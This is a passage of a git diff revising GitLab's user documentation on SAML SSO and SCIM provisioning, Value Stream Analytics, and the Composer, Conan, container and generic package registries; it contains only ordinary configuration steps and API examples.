Test Connector (Advanced)](https://onelogin.service-now.com/support?id=kb_article&sys_id=b2c19353dbde7b8024c780c74b9619fb&kb_category=93e869b0db185340d5505eea4b961934), -we recommend the following settings: +we recommend the ["Use the OneLogin SAML Test Connector" documentation](https://onelogin.service-now.com/support?id=kb_article&sys_id=93f95543db109700d5505eea4b96198f) with the following settings: | GitLab Setting | OneLogin Field | |--------------|----------------| @@ -178,40 +189,6 @@ we recommend the following settings: Recommended `NameID` value: `OneLogin ID`. -### Additional providers and setup options - -The SAML standard means that a wide range of identity providers will work with GitLab. Unfortunately we have not verified connections with all SAML providers. -For more information, see our [discussion on providers](#providers). - -Your identity provider may have relevant documentation. It may be generic SAML documentation, or specifically targeted for GitLab. Examples: - -- [ADFS (Active Directory Federation Services)](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/operations/create-a-relying-party-trust) -- [Auth0](https://auth0.com/docs/protocols/saml-protocol/configure-auth0-as-saml-identity-provider) -- [Google Workspace](https://support.google.com/a/answer/6087519?hl=en) -- [JumpCloud](https://support.jumpcloud.com/support/s/article/single-sign-on-sso-with-gitlab-2019-08-21-10-36-47) -- [PingOne by Ping Identity](https://docs.pingidentity.com/bundle/pingone/page/xsh1564020480660-1.html) - -Your Identity Provider may require additional configuration, such as the following: - -| Field | Value | Notes | -|-------|-------|-------| -| SAML Profile | Web browser SSO profile | GitLab uses SAML to sign users in via their browser. We don't make requests direct to the Identity Provider. | -| SAML Request Binding | HTTP Redirect | GitLab (the service provider) redirects users to your Identity Provider with a base64 encoded `SAMLRequest` HTTP parameter. | -| SAML Response Binding | HTTP POST | Your Identity Provider responds to users with an HTTP form including the `SAMLResponse`, which a user's browser submits back to GitLab. | -| Sign SAML Response | Yes | We require this to prevent tampering. | -| X.509 Certificate in response | Yes | This is used to sign the response and checked against the provided fingerprint. | -| Fingerprint Algorithm | SHA-1 | We need a SHA-1 hash of the certificate used to sign the SAML Response. | -| Signature Algorithm | SHA-1/SHA-256/SHA-384/SHA-512 | Also known as the Digest Method, this can be specified in the SAML response. It determines how a response is signed. | -| Encrypt SAML Assertion | No | TLS is used between your Identity Provider, the user's browser, and GitLab. | -| Sign SAML Assertion | Optional | We don't require Assertions to be signed. We validate their integrity by requiring the whole response to be signed. | -| Check SAML Request Signature | No | GitLab does not sign SAML requests, but does check the signature on the SAML response. | -| Default RelayState | Optional | The URL users should end up on after signing in via a button on your Identity Provider. | -| NameID Format | `Persistent` | See [details above](#nameid-format). | -| Additional URLs | | You may need to use the `Identifier` or `Assertion consumer service URL` in other fields on some providers. | -| Single Sign Out URL | | Not supported | - -If the information you need isn't listed above you may wish to check our [troubleshooting docs below](#i-need-additional-information-to-configure-my-identity-provider). - ## User access and management > [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/268142) in GitLab 13.7. @@ -231,9 +208,9 @@ When a user tries to sign in with Group SSO, GitLab attempts to find or create a To link SAML to your existing GitLab.com account: 1. Sign in to your GitLab.com account. -1. Locate and visit the **GitLab single sign-on URL** for the group you're signing in to. A group owner can find this on the group's **Settings > SAML SSO** page. If the sign-in URL is configured, users can connect to the GitLab app from the Identity Provider. +1. Locate and visit the **GitLab single sign-on URL** for the group you're signing in to. A group owner can find this on the group's **Settings > SAML SSO** page. If the sign-in URL is configured, users can connect to the GitLab app from the identity provider. 1. Select **Authorize**. -1. Enter your credentials on the Identity Provider if prompted. +1. Enter your credentials on the identity provider if prompted. 1. You are then redirected back to GitLab.com and should now have access to the group. In the future, you can use SAML to sign in to GitLab.com. On subsequent visits, you should be able to go [sign in to GitLab.com with SAML](#signing-in-to-gitlabcom-with-saml) or by visiting links directly. If the **enforce SSO** option is turned on, you are then redirected to sign in through the identity provider. @@ -369,18 +346,6 @@ Users who are not members of any mapped SAML groups are removed from the GitLab You can prevent accidental member removal. For example, if you have a SAML group link for `Owner` level access in a top-level group, you should also set up a group link for all other members. -## Glossary - -| Term | Description | -|------|-------------| -| Identity Provider | The service which manages your user identities such as ADFS, Okta, OneLogin, or Ping Identity. | -| Service Provider | SAML considers GitLab to be a service provider. | -| Assertion | A piece of information about a user's identity, such as their name or role. Also known as claims or attributes. | -| SSO | Single Sign On. | -| Assertion consumer service URL | The callback on GitLab where users are redirected after successfully authenticating with the identity provider. | -| Issuer | How GitLab identifies itself to the identity provider. Also known as a "Relying party trust identifier". | -| Certificate fingerprint | Used to confirm that communications over SAML are secure by checking that the server is signing communications with the correct certificate. Also known as a certificate thumbprint. | - ## Passwords for users created via SAML SSO for Groups The [Generated passwords for users created through integrated authentication](../../../security/passwords_for_integrated_authentication_methods.md) guide provides an overview of how GitLab generates and sets passwords for users created via SAML SSO for Groups. @@ -412,7 +377,7 @@ In troubleshooting the Group SAML setup, any authenticated user can use the API Similarly, group members of a role with the appropriate permissions can make use of the [members API](../../../api/members.md) to view group SAML identity information for members of the group. -This can then be compared to the [NameID](#nameid) being sent by the Identity Provider by decoding the message with a [SAML debugging tool](#saml-debugging-tools). We require that these match in order to identify users. +This can then be compared to the [NameID](#nameid) being sent by the identity provider by decoding the message with a [SAML debugging tool](#saml-debugging-tools). We require that these match in order to identify users. ### Users receive a 404 @@ -432,7 +397,7 @@ Here are possible causes and solutions: | Cause | Solution | |------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| You've tried to link multiple SAML identities to the same user, for a given Identity Provider. | Change the identity that you sign in with. To do so, [unlink the previous SAML identity](#unlinking-accounts) from this GitLab account before attempting to sign in again. | +| You've tried to link multiple SAML identities to the same user, for a given identity provider. | Change the identity that you sign in with. To do so, [unlink the previous SAML identity](#unlinking-accounts) from this GitLab account before attempting to sign in again. | ### Message: "SAML authentication failed: Email has already been taken" @@ -442,7 +407,7 @@ Here are possible causes and solutions: ### Message: "SAML authentication failed: Extern UID has already been taken, User has already been taken" -Getting both of these errors at the same time suggests the NameID capitalization provided by the Identity Provider didn't exactly match the previous value for that user. +Getting both of these errors at the same time suggests the NameID capitalization provided by the identity provider didn't exactly match the previous value for that user. This can be prevented by configuring the [NameID](#nameid) to return a consistent value. Fixing this for an individual user involves [unlinking SAML in the GitLab account](#unlinking-accounts), although this will cause group membership and to-dos to be lost. @@ -452,8 +417,8 @@ Ensure that the user who is trying to link their GitLab account has been added a Alternatively, the SAML response may be missing the `InResponseTo` attribute in the `samlp:Response` tag, which is [expected by the SAML gem](https://github.com/onelogin/ruby-saml/blob/9f710c5028b069bfab4b9e2b66891e0549765af5/lib/onelogin/ruby-saml/response.rb#L307-L316). -The [Identity Provider](#glossary) administrator should ensure that the login is -initiated by the Service Provider (typically GitLab) and not the Identity Provider. +The identity provider administrator should ensure that the login is +initiated by the service provider and not the identity provider. ### Stuck in a login "loop" @@ -469,13 +434,15 @@ Alternatively, when users need to [link SAML to their existing GitLab.com accoun ### I need to change my SAML app -Users will need to [unlink the current SAML identity](#unlinking-accounts) and [link their identity](#user-access-and-management) to the new SAML app. +If the NameID is identical in both SAML apps, then no change is required. + +Otherwise, to change the SAML app used for sign in, users need to [unlink the current SAML identity](#unlinking-accounts) and then [link their identity](#user-access-and-management) to the new SAML app. ### I need additional information to configure my identity provider Many SAML terms can vary between providers. It is possible that the information you are looking for is listed under another name. -For more information, start with your Identity Provider's documentation. Look for their options and examples to see how they configure SAML. This can provide hints on what you'll need to configure GitLab to work with these providers. +For more information, start with your identity provider's documentation. Look for their options and examples to see how they configure SAML. This can provide hints on what you'll need to configure GitLab to work with these providers. It can also help to look at our [more detailed docs for self-managed GitLab](../../../integration/saml.md). SAML configuration for GitLab.com is mostly the same as for self-managed instances. diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md index 35374812b37..7bf54aea60e 100644 --- a/doc/user/group/saml_sso/scim_setup.md +++ b/doc/user/group/saml_sso/scim_setup.md @@ -20,7 +20,6 @@ The GitLab [SCIM API](../../../api/scim.md) implements part of [the RFC7644 prot The following actions are available: - Create users -- Update users (Azure only) - Deactivate users The following identity providers are supported: @@ -51,19 +50,13 @@ Once [Group Single Sign-On](index.md) has been configured, we can: The SAML application that was created during [Single sign-on](index.md) setup for [Azure](https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/view-applications-portal) now needs to be set up for SCIM. -1. Check the configuration for your GitLab SAML app and ensure that **Name identifier value** (NameID) points to `user.objectid` or another unique identifier. This matches the `extern_uid` used on GitLab. - -  - 1. Set up automatic provisioning and administrative credentials by following the - [Provisioning users and groups to applications that support SCIM](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/use-scim-to-provision-users-and-groups#provisioning-users-and-groups-to-applications-that-support-scim) section in Azure's SCIM setup documentation. + [Azure's SCIM setup documentation](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/use-scim-to-provision-users-and-groups#provisioning-users-and-groups-to-applications-that-support-scim). During this configuration, note the following: - The `Tenant URL` and `secret token` are the ones retrieved in the [previous step](#gitlab-configuration). -- Should there be any problems with the availability of GitLab or similar - errors, the notification email set gets those. - It is recommended to set a notification email and check the **Send an email notification when a failure occurs** checkbox. - For mappings, we will only leave `Synchronize Azure Active Directory Users to AppName` enabled. @@ -71,42 +64,30 @@ You can then test the connection by clicking on **Test Connection**. If the conn #### Configure attribute mapping -1. Click on `Synchronize Azure Active Directory Users to AppName` to configure the attribute mapping. -1. Click **Delete** next to the `mail` mapping. -1. Map `userPrincipalName` to `emails[type eq "work"].value` and change its **Matching precedence** to `2`. -1. Map `mailNickname` to `userName`. -1. Determine how GitLab uniquely identifies users. - - - Use `objectId` unless users already have SAML linked for your group. - - If you already have users with SAML linked then use the `Name ID` value from the [SAML configuration](#azure). Using a different value may cause duplicate users and prevent users from accessing the GitLab group. - -1. Create a new mapping: - 1. Click **Add New Mapping**. - 1. Set: - - **Source attribute** to the unique identifier determined above, typically `objectId`. - - **Target attribute** to `externalId`. - - **Match objects using this attribute** to `Yes`. - - **Matching precedence** to `1`. +Follow [Azure documentation to configure the attribute mapping](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/customize-application-attributes). -1. Click the `userPrincipalName` mapping and change **Match objects using this attribute** to `No`. +The following table below provides an attribute mapping known to work with GitLab. If +your SAML configuration differs from [the recommended SAML settings](index.md#azure-setup-notes), +modify the corresponding `customappsso` settings accordingly. If a mapping is not listed in the +table, use the Azure defaults. -1. Save your changes. For reference, you can view [an example configuration in the troubleshooting reference](../../../administration/troubleshooting/group_saml_scim.md#azure-active-directory). +| Azure Active Directory Attribute | customappsso Attribute | Matching precedence | +| -------------------------------- | ---------------------- | -------------------- | +| `objectId` | `externalId` | 1 | +| `userPrincipalName` | `emails[type eq "work"].value` | | +| `mailNickname` | `userName` | | - NOTE: - If you used a unique identifier **other than** `objectId`, be sure to map it to `externalId`. +For guidance, you can view [an example configuration in the troubleshooting reference](../../../administration/troubleshooting/group_saml_scim.md#azure-active-directory). 1. Below the mapping list click on **Show advanced options > Edit attribute list for AppName**. - 1. Ensure the `id` is the primary and required field, and `externalId` is also required. NOTE: `username` should neither be primary nor required as we don't support that field on GitLab SCIM yet. -1. Save all the screens and, in the **Provisioning** step, set - the `Provisioning Status` to `On`. - -  +1. Save all changes. +1. In the **Provisioning** step, set the `Provisioning Status` to `On`. NOTE: You can control what is actually synced by selecting the `Scope`. For example, @@ -168,6 +149,10 @@ As the app is developed by OneLogin, please reach out to OneLogin if you encount ## User access and linking setup +During the synchronization process, all of your users get GitLab accounts, welcoming them +to their respective groups, with an invitation email. When implementing SCIM provisioning, +you may want to warn your security-conscious employees about this email. + The following diagram is a general outline on what happens when you add users to your SCIM app: ```mermaid @@ -202,10 +187,6 @@ Upon the next sync, the user is deprovisioned, which means that the user is remo NOTE: Deprovisioning does not delete the user account. -During the synchronization process, all of your users get GitLab accounts, welcoming them -to their respective groups, with an invitation email. When implementing SCIM provisioning, -you may want to warn your security-conscious employees about this email. - ```mermaid graph TD A[Remove User from SCIM app] -->|IdP sends request to GitLab| B(GitLab: Is the user part of the group?) diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md index 16430b49549..df0d297a82a 100644 --- a/doc/user/group/subgroups/index.md +++ b/doc/user/group/subgroups/index.md @@ -117,7 +117,7 @@ Follow the same process to create any subsequent groups. ## Membership When you add a member to a group, that member is also added to all subgroups. -Permission level is inherited from the group’s parent. This model allows access to +Permission level is inherited from the group's parent. This model allows access to subgroups if you have membership in one of its parents. Jobs for pipelines in subgroups can use [runners](../../../ci/runners/README.md) registered to the parent group(s). diff --git a/doc/user/group/value_stream_analytics/img/extended_value_stream_form_v13_10.png b/doc/user/group/value_stream_analytics/img/extended_value_stream_form_v13_10.png Binary files differindex 26508787177..e2752ad1157 100644 --- a/doc/user/group/value_stream_analytics/img/extended_value_stream_form_v13_10.png +++ b/doc/user/group/value_stream_analytics/img/extended_value_stream_form_v13_10.png diff --git a/doc/user/group/value_stream_analytics/img/vsa_custom_stage_v13_10.png b/doc/user/group/value_stream_analytics/img/vsa_custom_stage_v13_10.png Binary files differindex 77f4a26b880..9345c4023de 100644 --- a/doc/user/group/value_stream_analytics/img/vsa_custom_stage_v13_10.png +++ b/doc/user/group/value_stream_analytics/img/vsa_custom_stage_v13_10.png diff --git a/doc/user/group/value_stream_analytics/img/vsa_default_stage_v13_10.png b/doc/user/group/value_stream_analytics/img/vsa_default_stage_v13_10.png Binary files differindex 1adb114b025..a29689a2c18 100644 --- a/doc/user/group/value_stream_analytics/img/vsa_default_stage_v13_10.png +++ b/doc/user/group/value_stream_analytics/img/vsa_default_stage_v13_10.png diff --git a/doc/user/group/value_stream_analytics/img/vsa_path_nav_v13_11.png b/doc/user/group/value_stream_analytics/img/vsa_path_nav_v13_11.png Binary files differnew file mode 100644 index 00000000000..5dd79d06463 --- /dev/null +++ b/doc/user/group/value_stream_analytics/img/vsa_path_nav_v13_11.png diff --git a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md index 52cf51d85a4..6a512d78696 100644 --- a/doc/user/group/value_stream_analytics/index.md +++ b/doc/user/group/value_stream_analytics/index.md @@ -76,20 +76,15 @@ GitLab provides the ability to filter analytics based on a date range. To filter The "Time" metrics near the top of the page are measured as follows: - **Lead time**: median time from issue created to issue closed. -- **Cycle time**: median time from first commit to issue closed. - -A commit is associated with an issue by [crosslinking](../../project/issues/crosslinking_issues.md) in the commit message or by manually linking the merge request containing the commit. +- **Cycle time**: median time from first commit to issue closed. (You can associate a commit with an issue by [crosslinking in the commit message](../../project/issues/crosslinking_issues.md#from-commit-messages).)  ## How the stages are measured -Value Stream Analytics records stage time and data based on the project issues with the -exception of the staging stage, where only data deployed to -production are measured. - -Specifically, if your CI is not set up and you have not defined a [production environment](#how-the-production-environment-is-identified), then you will not have any -data for this stage. +Value Stream Analytics measures each stage from its start event to its stop event. +For example, a stage might start when one label is added to an issue, and end when another label is added. +Value Stream Analytics excludes work in progress, meaning it ignores any items that have not reached the stop event. Each stage of Value Stream Analytics is further described in the table below. @@ -193,17 +188,37 @@ GitLab allows users to create multiple value streams, hide default stages and cr ### Stage path -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210315) in GitLab 13.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210315) in GitLab 13.0. +> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](../../../administration/feature_flags.md). **(FREE SELF)** + + -Stages are visually depicted as a horizontal process flow. Selecting a stage will update the -the content below the value stream. +Stages are visually depicted as a horizontal process flow. Selecting a stage updates the content +below the value stream. -This is disabled by default. If you have a self-managed instance, an +The stage time is displayed next to the name of each stage, in the following format: + +| Symbol | Description | +|--------|-------------| +| `m` | Minutes | +| `h` | Hours | +| `d` | Days | +| `w` | Weeks | +| `M` | Months | + +Hovering over a stage item displays a popover with the following information: + +- Start event description for the given stage +- End event description + +Horizontal path navigation is enabled by default. If you have a self-managed instance, an administrator can [open a Rails console](../../../administration/troubleshooting/navigating_gitlab_via_rails_console.md) -and enable it with the following command: +and disable it with the following command: ```ruby -Feature.enable(:value_stream_analytics_path_navigation) +Feature.disable(:value_stream_analytics_path_navigation) ``` ### Adding a stage @@ -299,17 +314,16 @@ To create a value stream: 1. Navigate to your group's **Analytics > Value Stream**. 1. Click the Value stream dropdown and select **Create new Value Stream** 1. Fill in a name for the new Value Stream - - You can [customize the stages](#creating-a-value-stream-with-stages) as the `value_stream_analytics_extended_form` feature flag is enabled. + - You can [customize the stages](#creating-a-value-stream-with-stages) 1. Click the **Create Value Stream** button.  #### Creating a value stream with stages -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55572) in GitLab 13.10. -> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](../../../administration/feature_flags.md). **(FREE SELF)** +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50229) in GitLab 13.7. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55572) in GitLab 13.10. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/294190) in GitLab 13.11. WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -331,27 +345,6 @@ To create a value stream with stages:  -#### Enable or disable value stream with stages - -Value streams with stages is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -# For the instance -Feature.enable(:value_stream_analytics_extended_form) -``` - -To disable it: - -```ruby -# For the instance -Feature.disable(:value_stream_analytics_extended_form) -``` - ### Deleting a value stream > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221205) in GitLab 13.4. diff --git a/doc/user/img/new_project_snippet_from_project_v12_10.png b/doc/user/img/new_project_snippet_from_project_v12_10.png Binary files differdeleted file mode 100644 index 7fa17beaae6..00000000000 --- a/doc/user/img/new_project_snippet_from_project_v12_10.png +++ /dev/null diff --git a/doc/user/img/snippet_intro_v13_11.png b/doc/user/img/snippet_intro_v13_11.png Binary files differnew file mode 100644 index 00000000000..aa2ad5fd43a --- /dev/null +++ b/doc/user/img/snippet_intro_v13_11.png diff --git a/doc/user/img/snippet_tooltip_v13_10.png b/doc/user/img/snippet_tooltip_v13_10.png Binary files differnew file mode 100644 index 00000000000..fd5961c2b08 --- /dev/null +++ b/doc/user/img/snippet_tooltip_v13_10.png diff --git a/doc/user/index.md b/doc/user/index.md index 7541e3e85f9..872dbd09c7d 100644 --- a/doc/user/index.md +++ b/doc/user/index.md @@ -42,7 +42,7 @@ GitLab is a Git-based platform that integrates a great number of essential tools - Hosting code in repositories with version control. - Tracking proposals for new implementations, bug reports, and feedback with a - fully featured [Issue Tracker](project/issues/index.md#issues-list). + fully featured [Issue tracker](project/issues/index.md). - Organizing and prioritizing with [Issue Boards](project/issue_board.md). - Reviewing code in [Merge Requests](project/merge_requests/index.md) with live-preview changes per branch with [Review Apps](../ci/review_apps/index.md). @@ -59,7 +59,7 @@ With GitLab Enterprise Edition, you can also: - [Merge Request Approvals](project/merge_requests/merge_request_approvals.md). - [Multiple Assignees for Issues](project/issues/multiple_assignees_for_issues.md). - [Multiple Issue Boards](project/issue_board.md#multiple-issue-boards). -- Create formal relationships between issues with [Related Issues](project/issues/related_issues.md). +- Create formal relationships between issues with [linked issues](project/issues/related_issues.md). - Use [Burndown Charts](project/milestones/burndown_and_burnup_charts.md) to track progress during a sprint or while working on a new version of their software. - Leverage [Elasticsearch](../integration/elasticsearch.md) with [Advanced Search](search/advanced_search.md) for faster, more advanced code search across your entire GitLab instance. - [Authenticate users with Kerberos](../integration/kerberos.md). @@ -70,7 +70,7 @@ With GitLab Enterprise Edition, you can also: - Leverage continuous delivery method with [Canary Deployments](project/canary_deployments.md). - Scan your code for vulnerabilities and [display them in merge requests](application_security/sast/index.md). -You can also [integrate](project/integrations/overview.md) GitLab with numerous third-party applications, such as Mattermost, Microsoft Teams, HipChat, Trello, Slack, Bamboo CI, Jira, and a lot more. +You can also [integrate](project/integrations/overview.md) GitLab with numerous third-party applications, such as Mattermost, Microsoft Teams, Trello, Slack, Bamboo CI, Jira, and a lot more. ## User types diff --git a/doc/user/infrastructure/mr_integration.md b/doc/user/infrastructure/mr_integration.md index 927552b90be..6f8b1d8d569 100644 --- a/doc/user/infrastructure/mr_integration.md +++ b/doc/user/infrastructure/mr_integration.md @@ -10,7 +10,7 @@ Collaborating around Infrastructure as Code (IaC) changes requires both code cha ## Output Terraform Plan information into a merge request -Using the [GitLab Terraform Report artifact](../../ci/pipelines/job_artifacts.md#artifactsreportsterraform), +Using the [GitLab Terraform Report artifact](../../ci/yaml/README.md#artifactsreportsterraform), you can expose details from `terraform plan` runs directly into a merge request widget, enabling you to see statistics about the resources that Terraform creates, modifies, or destroys. @@ -57,7 +57,7 @@ To manually configure a GitLab Terraform Report artifact requires the following 1. Define a `script` that runs `terraform plan` and `terraform show`. These commands pipe the output and convert the relevant bits into a store variable `PLAN_JSON`. This JSON is used to create a - [GitLab Terraform Report artifact](../../ci/pipelines/job_artifacts.md#artifactsreportsterraform). + [GitLab Terraform Report artifact](../../ci/yaml/README.md#artifactsreportsterraform). The Terraform report obtains a Terraform `tfplan.json` file. The collected Terraform plan report is uploaded to GitLab as an artifact, and is shown in merge requests. diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md index f935fa87d68..bc1e59e4ac2 100644 --- a/doc/user/packages/composer_repository/index.md +++ b/doc/user/packages/composer_repository/index.md @@ -8,12 +8,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15886) in GitLab Premium 13.2. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. +> - Support for Composer 2.0 [added](https://gitlab.com/gitlab-org/gitlab/-/issues/259840) in GitLab Free 13.10. Publish [Composer](https://getcomposer.org/) packages in your project's Package Registry. Then, install the packages whenever you need to use them as a dependency. -Only Composer 1.x is supported. Consider contributing or even adding support for -[Composer 2.0 in the Package Registry](https://gitlab.com/gitlab-org/gitlab/-/issues/259840). +For documentation of the specific API endpoints that the Composer +client uses, see the [Composer API documentation](../../../api/packages/composer.md). ## Create a Composer package @@ -268,10 +269,36 @@ To install a package: Without the `gitlab-domains` definition in `composer.json`, Composer uses the GitLab token as basic-auth, with the token as a username and a blank password. This results in a 401 error. -Output indicates that the package has been successfully installed. +1. With the `composer.json` and `auth.json` files configured, you can install the package by running: + + ```shell + composer update + ``` + + Or to install the single package: + + ```shell + composer req <package-name>:<package-version> + ``` + + If successful, you should see output indicating that the package installed successfully. + + You can also install from source (by pulling the Git repository directly) using the + `--prefer-source` option: + + ```shell + composer update --prefer-source + ``` WARNING: Never commit the `auth.json` file to your repository. To install packages from a CI/CD job, consider using the [`composer config`](https://getcomposer.org/doc/articles/handling-private-packages.md#satis) tool with your personal access token stored in a [GitLab CI/CD variable](../../../ci/variables/README.md) or in [HashiCorp Vault](../../../ci/secrets/index.md). + +## Supported CLI commands + +The GitLab Composer repository supports the following Composer CLI commands: + +- `composer install`: Install Composer dependencies. +- `composer update`: Install the latest version of Composer dependencies. diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md index 3b8be68cff6..9df4aeb404a 100644 --- a/doc/user/packages/conan_repository/index.md +++ b/doc/user/packages/conan_repository/index.md @@ -18,6 +18,9 @@ remote and authenticate with it. Then you can run `conan` commands and publish your package to the Package Registry. +For documentation of the specific API endpoints that the Conan package manager +client uses, see the [Conan API documentation](../../../api/packages/conan.md). + ## Build a Conan package This section explains how to install Conan and build a package for your C/C++ @@ -125,7 +128,7 @@ To add the remote: For example: ```shell - conan search Hello* --all --remote=gitlab + conan search Hello* --remote=gitlab ``` ### Add a remote for your instance @@ -402,16 +405,3 @@ The GitLab Conan repository supports the following Conan CLI commands: packages you have permission to view. - `conan info`: View the information on a given package from the Package Registry. - `conan remove`: Delete the package from the Package Registry. - -## Troubleshooting Conan packages - -### `ERROR: <package> was not found in remote <remote>` - -When you attempt to install a Conan package, you might receive a `404` error -like `ERROR: <package> was not found in remote <remote>`. - -This issue occurs when you request a download from the project-level Conan API. -The resulting URL is missing is project's `/<id>` and Conan commands, like -`conan install`, fail. - -For more information, see [issue 270129](https://gitlab.com/gitlab-org/gitlab/-/issues/270129). diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md index 18c4edd61c7..bc96d3c937c 100644 --- a/doc/user/packages/container_registry/index.md +++ b/doc/user/packages/container_registry/index.md @@ -4,7 +4,7 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Container Registry +# GitLab Container Registry **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4040) in GitLab 8.8. > - Docker Registry manifest `v1` support was added in GitLab 8.9 to support Docker @@ -35,7 +35,8 @@ You can view the Container Registry for a project or group. 1. Go to your project or group. 1. Go to **Packages & Registries > Container Registry**. -You can search, sort, filter, and [delete](#delete-images-from-within-gitlab) containers on this page. +You can search, sort, filter, and [delete](#delete-images-from-within-gitlab) +containers on this page. You can share a filtered view by copying the URL from your browser. Only members of the project or group can access a private project's Container Registry. @@ -499,11 +500,11 @@ The cleanup policy: 1. Collects all tags for a given repository in a list. 1. Excludes the tag named `latest` from the list. 1. Evaluates the `name_regex` (tags to expire), excluding non-matching names from the list. +1. Excludes from the list any tags matching the `name_regex_keep` value (tags to preserve). 1. Excludes any tags that do not have a manifest (not part of the options in the UI). 1. Orders the remaining tags by `created_date`. 1. Excludes from the list the N tags based on the `keep_n` value (Number of tags to retain). 1. Excludes from the list the tags more recent than the `older_than` value (Expiration interval). -1. Excludes from the list any tags matching the `name_regex_keep` value (tags to preserve). 1. Finally, the remaining tags in the list are deleted from the Container Registry. WARNING: @@ -635,6 +636,14 @@ Examples: curl --request PUT --header 'Content-Type: application/json;charset=UTF-8' --header "PRIVATE-TOKEN: <your_access_token>" --data-binary '{"container_expiration_policy_attributes":{"cadence":"1month","enabled":true,"keep_n":1,"older_than":"14d","name_regex":"","name_regex_delete":".*","name_regex_keep":".*-master"}}' "https://gitlab.example.com/api/v4/projects/2" ``` +Valid values for `cadence` when using the API are: + +- `1d` (every day) +- `7d` (every week) +- `14d` (every two weeks) +- `1month` (every month) +- `3month` (every quarter) + See the API documentation for further details: [Edit project](../../../api/projects.md#edit-project). ### Use with external container registries @@ -670,8 +679,8 @@ and stored by Docker, it is not possible for GitLab to parse this data and meet ## Limitations - Moving or renaming existing Container Registry repositories is not supported -once you have pushed images, because the images are signed, and the -signature includes the repository name. To move or rename a repository with a +once you have pushed images, because the images are stored in a path that matches +the repository path. To move or rename a repository with a Container Registry, you must delete all existing images. - Prior to GitLab 12.10, any tags that use the same image ID as the `latest` tag are not deleted by the cleanup policy. diff --git a/doc/user/packages/dependency_proxy/index.md b/doc/user/packages/dependency_proxy/index.md index ad2d2ac2a8e..3dd900d2cbe 100644 --- a/doc/user/packages/dependency_proxy/index.md +++ b/doc/user/packages/dependency_proxy/index.md @@ -68,6 +68,11 @@ The requirement to authenticate is a breaking change added in 13.7. An [administ disable it](../../../administration/packages/dependency_proxy.md#disabling-authentication) if it has disrupted your existing Dependency Proxy usage. +WARNING: +If [SSO enforcement](../../group/saml_sso/index.md#sso-enforcement) +is enabled for your Group, requests to the dependency proxy will fail. This bug is being tracked in +[this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/294018). + Because the Dependency Proxy is storing Docker images in a space associated with your group, you must authenticate against the Dependency Proxy. diff --git a/doc/user/packages/generic_packages/index.md b/doc/user/packages/generic_packages/index.md index b9186e99357..57d6245dd96 100644 --- a/doc/user/packages/generic_packages/index.md +++ b/doc/user/packages/generic_packages/index.md @@ -16,18 +16,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w WARNING: This feature might not be available to you. Check the **version history** note above for details. -Publish generic files, like release binaries, in your project’s Package Registry. Then, install the packages whenever you need to use them as a dependency. +Publish generic files, like release binaries, in your project's Package Registry. Then, install the packages whenever you need to use them as a dependency. ## Authenticate to the Package Registry To authenticate to the Package Registry, you need either a [personal access token](../../../api/README.md#personalproject-access-tokens), -[CI job token](../../../api/README.md#gitlab-ci-job-token), or [deploy token](../../project/deploy_tokens/index.md). +[CI/CD job token](../../../api/README.md#gitlab-cicd-job-token), or [deploy token](../../project/deploy_tokens/index.md). In addition to the standard API authentication mechanisms, the generic package API allows authentication with HTTP Basic authentication for use with tools that do not support the other available mechanisms. The `user-id` is not checked and may be any value, and the `password` must be either a [personal access token](../../../api/README.md#personalproject-access-tokens), -a [CI job token](../../../api/README.md#gitlab-ci-job-token), or a [deploy token](../../project/deploy_tokens/index.md). +a [CI/CD job token](../../../api/README.md#gitlab-cicd-job-token), or a [deploy token](../../project/deploy_tokens/index.md). ## Publish a package file @@ -47,7 +47,7 @@ PUT /projects/:id/packages/generic/:package_name/:package_version/:file_name?sta | -------------------| --------------- | ---------| -------------------------------------------------------------------------------------------------------------------------------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/README.md#namespaced-path-encoding). | | `package_name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`). -| `package_version` | string | yes | The package version. It can contain only numbers (`0-9`), and dots (`.`). Must be in the format of `X.Y.Z`, i.e. should match `/\A\d+\.\d+\.\d+\z/` regular expression. +| 